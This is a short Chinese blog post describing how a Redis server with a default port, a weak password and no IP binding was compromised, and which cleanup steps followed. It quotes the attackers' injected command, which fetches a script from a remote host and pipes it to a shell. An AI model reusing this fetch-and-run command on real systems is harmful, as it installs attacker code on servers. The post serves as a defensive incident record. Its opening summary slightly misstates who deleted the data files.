文章讲述了作者的Redis服务器因未改端口、简单密码和未限制IP访问，遭到了攻击。攻击者利用上传工具在服务器上执行了string脚本，包括pm.sh文件，进一步删除了主库的rdb和aof文件以阻止数据恢复。这是一起关于Redis安全防护的案例。
之前由于redis没有修改端口，密码也比较简单，也没有绑定ip 结果被攻击了
1 redis里被写入string类型的脚本，比如：Back1 Back2 Back3 Back4 ，内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式，如下图：
这个pm.sh脚本被放在被上传工具文件里
2 /www/server/redis下多了一个root文件 具体文件放在被上传工具文件里
3 去把主库的rdb文件和aof文件删下防止用这个数据恢复。
我的在appendonly.aof文件里看到了以下命令
扫一扫
3038
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
